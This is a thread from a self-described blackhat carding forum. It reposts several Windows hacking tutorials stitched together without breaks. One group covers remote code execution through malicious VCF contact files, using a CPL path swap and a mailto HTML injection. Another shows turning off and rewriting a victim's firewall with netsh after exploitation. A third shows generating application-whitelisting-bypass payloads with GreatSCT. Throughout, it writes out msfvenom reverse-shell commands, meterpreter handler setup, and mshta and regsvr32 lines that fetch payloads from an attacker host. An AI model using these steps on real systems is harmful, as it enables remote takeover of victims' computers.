[Guide] How to Exploiting Windows PC using Malicious Contact VCF file

[Guide] How to Exploiting Windows PC using Malicious Contact VCF file - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Exploiting Windows PC using Malicious Contact VCF file (/Thread-Guide-How-to-Exploiting-Windows-PC-using-Malicious-Contact-VCF-file)

[Guide] How to Exploiting Windows PC using Malicious Contact VCF file - NINZA - 05-14-2020

A huge shoutout to cybersecurity researcher John Page for bringing this vulnerability into the internet’s eye on 15th January 2019. This was a 0 day exploit and of course, works with the latest Windows 10 too. It is categorized under “Insufficient UI warning remote code execution” vulnerability.
Introduction: Basically what John discovered was that if we replaced the website in a VCF file with the local path of a CPL file, it tends to install that file instead of opening it on the browser. This is done by replacing the “http://” with “http.\\”, which is totally insane since a user would need the eyes of multi megapixels to discover an intentional path error of that kind! So all we need to do is to send the victim that VCF file along with our CPL file in a folder named “HTTP” (it has to be HTTP only for local path inclusion) and we shall get a shell.
To read more about the research follow the link

[To see content please register here]

.

Methodology:

Making an msfvenom windows payload with the .dll extension.
Sending the dll file in a folder named “HTTP”.
Creating a contact file in the parent folder of “HTTP”.
Adding a website into the contact.
Changing the prefix of the website from http:// to http.\\
Renaming the dll file to “<name of website>.cpl”
Running multi handler in a window
Opening the website path from the contact
Spawning shell.

Proof of Concept:

The first step would be to make a payload with a dll extension. For this purpose, we are using msfvenom’s windows payload but any other payload should work just fine.
In this case, my local IP address is 192.168.1.109.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f dll > shell.dll
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f dll > shell.dll
[Image: 1.png?w=687&ssl=1]

Next, we transfer this payload to the victim machine in a new folder named HTTP. This has to be HTTP and nothing else since we are including a path later on in the website link (that has HTTP in its URL). If the URL is prefixed by some other protocol like FTP, make the directory’s name as ftp. And it has to be in the current directory too. So we copy this shell.dll file into the victim machine.
[Image: 2.png?w=687&ssl=1]

Next and the most important step is to make a contact VCF file. You can download a sample VCF too and add a website but we made a new contact file. The system we are using is windows 10 so the version of VCF file may differ from yours but it would work just the same.
[Image: 3.png?w=687&ssl=1]

Add any name in the contact file.
I added Raj Chandel.
[Image: 4.png?w=687&ssl=1]

Traverse to the next tab home and you’ll see a text box to input a website. Add any website’s name as you desire. I added my website’s name “hackingarticles.in” but here is the most important thing you have to note here:
A generic website’s link is

[To see content please register here]

but we modify the prefix just a little by replacing the http:// with http.\\
This is because we don’t actually want to include a website but we want to include a path to our DLL file so that when the victim click’s on the website, our DLL should run.
Here, we are suffixing the website link with “.cpl” extension. A CPL file is a control panel item, such as Displays, Mouse, Sound, or Networking, used by the Windows operating system.
[Image: 6.png?w=687&ssl=1]

Save contact. Now rename our payload from shell.dll to “www.hackingarticles.in.cpl”
[Image: 7.png?w=687&ssl=1]

Now we are prepped and ready to run the DLL file so we set up multi/handler on a terminal window and opened the contact on victim’s machine.
[Image: 8.png?w=687&ssl=1]

As soon as we click on the link here, we will see a session is obtained in the kali terminal!
[Image: 9.png?w=687&ssl=1]

This spawns a shell of the current user of windows that is logged on.
Conclusion: This is an amazing vulnerability discovered by John Page and all the working versions of windows that support contact VCF files are affected by it. As you can see we have spawned a windows 10 shell here, it is safe to say lower versions are affected too. To read more about the discovery, follow the link to John Page’s website

[To see content please register here]

. Thanks for reading.

This article is will provide an in-depth post exploitation guide to gather all the information about the victim’s Firewall and network settings.

Table of Content :

Introduction to Firewall
Rules of Firewall
Advantages of Firewall
Types of Firewall
Importance of firewall
Introduction to netsh
How to block a TCP Port on remote PC
How to block multiple TCP ports
How to view firewall rules
How to delete firewall rules
How to add firewall rules
View current profile status
Modifying the firewall further

Introduction to firewall
Firewall is a network security system designed to prevent unauthorized access to or from a private network. Firewalls can be implemented in varied modes i.e. hardware, software, or a combination of both. There are many types of firewall such as Proxy firewall, Application Firewall, Stateful firewall, Packet firewall, etc.
Firewalls are connected to the network and are frequently used to prevent unauthorized Internet users from accessing private networks connected to the Internet, especially intranets ensuring security. All messages entering into or leaving the intranet pass through a firewall, which examines each message and block those which do not meet the specified security criteria.
Rules of firewall
Firewall is functional on two rules which are always encircled by Inbound and outbound rules:
Inbound rules: These are the ones which filter traffic passing from the network to the local computer based on the filtering conditions specified in the rule.
Outbound rules: These are the ones which filter traffic passing from the local computer to the network based on the filtering conditions specified in the rule.
Both inbound and outbound rules can be configured to allow or block traffic as needed.
In other words, we can say that Inbound rules are the rules related to traffic that enters your computer. If you are running a Web Server on your computer then you will have to tell the Firewall that outsiders are allowed to connect to it. Further, Outbound rules categorize some programs to use the Internet yet block others as Outbound rules are related to the traffic that is sent from your computer. You will want to let your Web Browser (Internet Explorer, Firefox, Safari, Chrome, Opera…) have accessibility to the Internet but at the same time with the help of outbound rule you can block desired websites, so a command can be inserted which displays that Windows Firewall is allowed or disallowed.
Advantages of Firewall

Network isolation
Network flexibility
No malware protection is required
No maintenance

Types of firewall

Packet filtering firewall
Circuit lever firewall
Stateful inspection firewall
Application-level firewall
Next-gen firewalls

Importance of firewall
A firewall has now become an important part of a network. Firewall is important because :

It protects your computer from unauthorized remote access
It blocks linking your messages to unwanted content
It will block unnecessary and immoral content
It matches the details of data packets for reliable information.
IP and Domain can also be blocked or allowed.

Introduction to netsh
Netsh is a command-line utility that allows you to display the configuration of your computer network till time or you can change the network configuration of a computer that is currently running. Netsh commands can be run by typing commands at the netsh prompt and they can be used in batch files or scripts. Remote computers and the local computer can be configured by using netsh commands. Netsh also provides a scripting feature that allows you to run a group of commands in batch mode against a specified computer. With netsh, you can save a configuration script in a text file for archival purposes or to help you configure other computers.
(Reference:

[To see content please register here]

)

Now let us assume that the firewall of the victim’s PC is enabled:

So to turn off the firewall of victim’s PC, first of all, get a session through meterpreter and then take the administrator privileges of the remote PC. Move on to the shell of remote PC and write

netsh firewall set opmode mode=disable
1
netsh firewall set opmode mode=disable

And like this, the firewall of remote PC will be disabled.
[Image: 3.png?w=687&ssl=1]

How to Block TCP Port on Remote PC:

We can not only turn off or on the firewall through Metasploit but we can also block and allow access to any particular port. Yes, that means we can control Inbound and Outbound rules as well. Again after having the session through meterpreter and bypassing administrative privileges and going to the shell of the remote PC just type

netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
1
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block

Here,

Name = The name of the rule. (Pick something descriptive)

Protocol = The protocol we are going to block (UDP or TCP for most cases)

Dir = The direction of the block. Can be IN or OUT

Remote Port = The port of the remote host that is going to be blocked

Action = Could be blocked or allowed. In our case, we want to block the connection

Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:

And if you check its properties and click on ‘Protocols and Ports’ tab then you can see the result.
[Image: 6.png?w=687&ssl=1]

How to Block Multiple TCP Ports

Now that we have how to block a port in remote PC, let us dig a little deeper i.e we can not only block one port but also two or more than two. And to block two to more port again take a meterpreter session as well as administrator privileges of the remote PC and just write

netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80,443 action=block
1
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80,443 action=block

Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:

And if you check its properties and click on ‘Protocols and Ports’ tab then you will find that now it has blocked both port 80 and port 443:

Now, by blocking ports 80 and 443 we have blocked the HTTP and HTTPS services on the remote PC and so our victim will not be able to access any website. And the following error is displayed :

How to view Firewall Rules

Now we will learn how to view inbound and outbound rules of the firewall in remote PC, how to delete a rule, how to allow the port on which our payload will work in future, how to stop your remote PC from being ping.

First of all, let us assume that there is a blocked port in an outbound rule in our remote PC:

To know which rule is enabled and disabled in our remote PC, take a session through meterpreter and bypass administrator privileges. After doing so type:

netsh advfirewall firewall show rule name=all
1
netsh advfirewall firewall show rule name=all

Once this command is executed, all the rules will be displayed :

How to delete Firewall rules

In the above image, we can see that Port 80 and Port 443 is blocked under the rule name “Block All Ports”. So to delete that rule in the remote PC type :

netsh advfirewall firewall delete rule name="Block Ports"
1
netsh advfirewall firewall delete rule name="Block Ports"
[Image: 5.png?w=687&ssl=1]

Once this command executed, the said rule will be deleted. And you can run
netsh advfirewall firewall show rule name=all
1
netsh advfirewall firewall show rule name=all
Command again to see the result :
[Image: 4.png?w=687&ssl=1]

And we can also see the result in the firewall outbound rules :
[Image: 15.png?w=687&ssl=1]

How to add a rule in Firewall

Our normal payload works on port 4444. Now, if we want to allow port 4444 so we can upload a payload which works on port 4444, we just have to type :

netsh advfirewall firewall add rule name="Allow Port 4444" protocol=TCP dir=out remoteport=4444 action=allow
1
netsh advfirewall firewall add rule name="Allow Port 4444" protocol=TCP dir=out remoteport=4444 action=allow

Once this command executed, port 4444 will be allowed on our remote PC :
[Image: 16.png?w=687&ssl=1]

Now to block stop our remote PC from being pinged we can just type :
netsh advfirewall firewall add rule name="All ICMPV4" dir=in action=block protocol=icmpv4
1
netsh advfirewall firewall add rule name="All ICMPV4" dir=in action=block protocol=icmpv4
[Image: 7.png?w=687&ssl=1]

When this command will be executed, a rule blocking ping to our remote PC will be created:
[Image: 17.png?w=687&ssl=1]

And the following will be the result :
[Image: 8.png?w=687&ssl=1]

View Current Profile Status

Now we will see how to block /allow particular IP Address in remote PC Firewall and also learn how to view details of programs added to the exception/allowed list and the details of port added to the exception/allowed list. Along with this, we will learn how to see the status of the main settings of Firewall and what its current profile, i.e is whether it is on or off.

netsh advfirewall show currentprofile
1
netsh advfirewall show currentprofile

After knowing the profile of the firewall we can see which programs are allowed by the host of Remote PC. For this, type:

netsh firewall show allowedprogram
1
netsh firewall show allowedprogram

Our next command is to see the status of the main settings. And to see them, type:
netsh firewall show config
1
netsh firewall show config
[Image: 11.png?w=687&ssl=1]

Next, we can also see the location of the file in which all the firewall logs are kept. And for this, type:
netsh firewall show logging
1
netsh firewall show logging
[Image: 12.png?w=687&ssl=1]

Modifying Firewall Further

The firewall also allows us to Block a single IP address while allowing others and vice versa. So first to let us learn how we can Block a single IP For this, type:

netsh advfirewall firewall add rule name="IP Block" dir=in interface=any action=block remoteip=192.168.0.15/32
1
netsh advfirewall firewall add rule name="IP Block" dir=in interface=any action=block remoteip=192.168.0.15/32

(In the above command “/32” is a subnet mask of IP.)

After executing the said command, we can see the following result:
[Image: 24.png?w=687&ssl=1]

And we now see the properties of the IP Block rule we can see that the IP: 192.168.0.15 is blocked
[Image: 25.png?w=687&ssl=1]

Now, similarly, to allow a particular IP Address, type:
netsh advfirewall firewall add rule name="IP Allow" dir=in interface=any action=allow remoteip=192.168.0.15/32
1
netsh advfirewall firewall add rule name="IP Allow" dir=in interface=any action=allow remoteip=192.168.0.15/32
(In the above command “/32” is a subnet mask of IP)
[Image: 14.png?w=687&ssl=1]

After executing the said command, you can see the following result:
[Image: 27.png?w=687&ssl=1]

And we now see the properties of the IP Block rule we can see that the IP: 192.168.0.15 is Allowed :
[Image: 28.png?w=687&ssl=1]

After the 0 day exploit on malicious VCF file in windows, cybersecurity researcher John Page deserves another round of applause for bringing this vulnerability onto exploit-db’s eye on 23rd January 2019. This vulnerability further exploits the RCE vulnerability present in VCF with HTML injections. To read the previous article follow the link

[To see content please register here]

.
Introduction: The idea here is to include a malicious VBScript file into the email section of the VCF file so as to locally execute a script instead of opening the email via mailto. We’ll be using the anchor tag (<a>) of HTML to achieve the aforementioned task. This vulnerability is classified by John under “Mailto: HTML Link Injection Remote Code Execution”. To read more about the discovery and origin, follow the link

[To see content please register here]

.
Methodology:

Making an msfvenom payload of a .vbs format.
Sending the VBS file to the victim.
Creating a VCF file in the parent folder.
Adding an email into the contact with HTML injection parameters.
Running multi/handler in a separate window.
Opening email in the VCF file.
Spawning meterpreter.

So, without any further ado, let’s dive right into it.
Proof of Concept:
The first step would be to make a payload with a VBS extension. For this purpose, we are using msfvenom’s windows payload but any other payload should work just fine.
In my case, the local IP address is 192.168.1.109
[Image: 1.png?w=687&ssl=1]

Once the payload is made, transfer the .vbs file into the victim’s PC.
[Image: 2.png?w=687&ssl=1]

Next and the most important step is to make a contact VCF file. You can download a sample VCF too and add a website but we made a new contact file. The system we are using is Windows 10 so the version of VCF file may differ from yours but it would work just the same. Once the contact file is made, under the e-mail tab, add the HTML injection like:
<a href="raj\shell.vbs">[email protected]</a>
1
<a href="raj\shell.vbs">[email protected]</a>
Mind here that our parent folder’s name is “Raj” and the malicious VBS file is “shell.vbs”.
[Image: 3.png?w=687&ssl=1]

Now you’ll have to add this email address by clicking on the add button. As you can see it would look something like this:
[Image: 4.png?w=687&ssl=1]

Once the email address gets added, you’ll have to save the contact file. The final VCF file is going to look something like this:
[Image: 5.png?w=687&ssl=1]

By the aforementioned HTML injection tag, we are prompting a local inclusion instead of a mail prompt. This will run the malicious code and thereby, theoretically would spawn meterpreter. So, as soon as we add the mail in the VCF file, Windows will prompt you like “The e-mail address you have entered is not a valid internet e-mail address. Do you still want to add this address?” Click yes.
When you click on the mail in the final processed VCF file, you’d probably have opened a new meterpreter session.
[Image: 7.png?w=687&ssl=1]

Conclusion: This is an amazing vulnerability discovered by John Page and all the working versions of windows that support contact VCF files are affected by it. As you can see we have spawned a windows 10 shell here, it is safe to say lower versions are affected too. To read more about the discovery, follow the link to John Page’s website here. Thanks for reading.

While writing

[To see content please register here]

, we found a new tool which was specially designed for bypassing whitelisting application. So I decided to write this article where we are introducing another most interesting tool “Great SCT –A Metasploit payload generator” tool which is similar to Unicorn or msfvenom because it depends on the Metasploit framework to provide reverse connection of the victim’s machine. So let’s began with its tutorial and check its functionality.
Table of Content

GreatSCT
Installation & Usages
Generate malicious hta file
Generate malicious sct file
Generate malicious dll file

GreatSCT
GreatSCT is current under support by @ConsciousHacker, the project is called Great SCT (Great Scott). Great SCT is an open source project to generate application whitelist bypasses. This tool is intended for BOTH red and blue team. It is a tool designed to generate Metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions.
You can download it from here:

[To see content please register here]

Installation & Usages
It must first be downloaded and installed in order to start using Great SCT. Run the following command to download Great SCT from github and also take care of its dependency tools while installing it.
This help to bypass Applocker policy by using the following tools:

Installutil.exe : The Installer tool is a command- line tool that lets you install and uninstall server resources in specific assemblies by running the installer components.
Msbuild.exe : The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild.
Mshta.exe : Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with.
Regasm.exe : The Assembly Registration tool reads the metadata within an assembly and adds the necessary entries to the registry, which allows COM clients to create .NET Framework classes transparently.
Regsvcs.exe : RegSvcs stands for Microsoft .NET Remote Registry Services it is known for .NET Services Installation.
Regsvr32.exe : Regsvr32 is a command line utility for register and unregister OLE controls in the Windows Registry, such as DLLs and ActiveX controls.

git clone //github.com/GreatSCT/GreatSCT.git
cd GreatSCT
cd setup
./setup.sh
1
2
3
4
git clone //github.com/GreatSCT/GreatSCT.git
cd GreatSCT
cd setup
./setup.sh
Once it’s downloaded, type the following command to access the help commands:
[Image: 1.png?w=687]

use Bypass
1
use Bypass
[Image: 2.png?w=687]

Now to get the list of payloads type :
list
1
list
[Image: 3.png?w=687]

Generate malicious hta file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use mshta/shellcode_inject/base64_migrate.py
1
use mshta/shellcode_inject/base64_migrate.py
[Image: 4.png?w=687]

Once the command is executed, type :
generate
1
generate
[Image: 5.png?w=687]

After executing the generate command, it asks you which method you want to use. As we will use msfvenom type 1 to choose the first option. Then click enter for meterpreter. Then supply lhost and lport, i.e. 192.168.1.107, 4321 respectively.
[Image: 6.png?w=687]

When generating the shellcode, it will ask you to give a name for a payload. By default, it will take ‘payload’ as name. As I didn’t want to give any name, I simply pressed enter.
[Image: 7.png?w=687]

Now, it made two files. One resource file and other an hta file.
[Image: 8.png?w=687]

Now, firstly, start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 9.png?w=687]

Now execute the hta file in the command prompt of the victim’s PC.
mshta.exe //192.168.1.107/payload.hta
1
mshta.exe //192.168.1.107/payload.hta
[Image: 10.png?w=687]

Simultaneously, start the multi/handler using the resource file. For this, type:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! You have your session.
Visit here “

[To see content please register here]

” to learn more about mshta.exe techniques.
[Image: 11.png?w=687]

Generate malicious sct file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use regsvr32/shellcode_inject/base64_migrate.py
1
use regsvr32/shellcode_inject/base64_migrate.py
[Image: 20.png?w=687]

Once the command is executed, type :
generate
1
generate
[Image: 21.png?w=687]

Then it will ask you for payload. Just press enter as it will take windows/meterpreter/reverse_tcp as a default payload and that is the one we need. After that provide IP like here we have given 192.168.1.107 and the given port (any) as here you can see in the image below that we have given lport as 2345
[Image: 23.png?w=687]

After giving the details, it will ask you name for your malware. By default, it will set name ‘payload’ so either you can give the name or just press enter for the default settings.
[Image: 24.png?w=687]

And just as you press enter it will generate two files. One of them will a resource file and others will be .sct file. Now start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 26.png?w=687]

Now execute the .sct file in the run window of the victim’s PC as shown below
regsvr32.exe /s /u /n /i://192.168.1.107/payload.sct
1
regsvr32.exe /s /u /n /i://192.168.1.107/payload.sct
[Image: 27.png?w=687]

[To see content please register here]

” to learn more about mshta.exe techniques.
[Image: 28.png?w=687]

Generate malicious dll file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use regasm/meterpreter/rev_tcp.py
1
use regasm/meterpreter/rev_tcp.py
[Image: 29.png?w=687]

Once the command is executed, type:
set lhost 192.168.1.107
generate
1
2
set lhost 192.168.1.107
generate
[Image: 30.png?w=687]

After giving the details, it will ask you a name for your malware. By default, it will set name ‘payload’ so either you can give the name or just press enter for the default settings.
[Image: 31.png?w=687]

And just as you press enter it will generate dll files.
[Image: 32.png?w=687]

Now start the python’s server in /usr/share/greatsct-output/compiled by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 33.png?w=687]

Now place above generated dll file inside : C:\Windows\Microsoft.NET\Framework\v4.0.30319\v4.0.30319\ and then execute the .dll file in the run window of the victim’s PC as shown below:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
[Image: 34.png?w=687]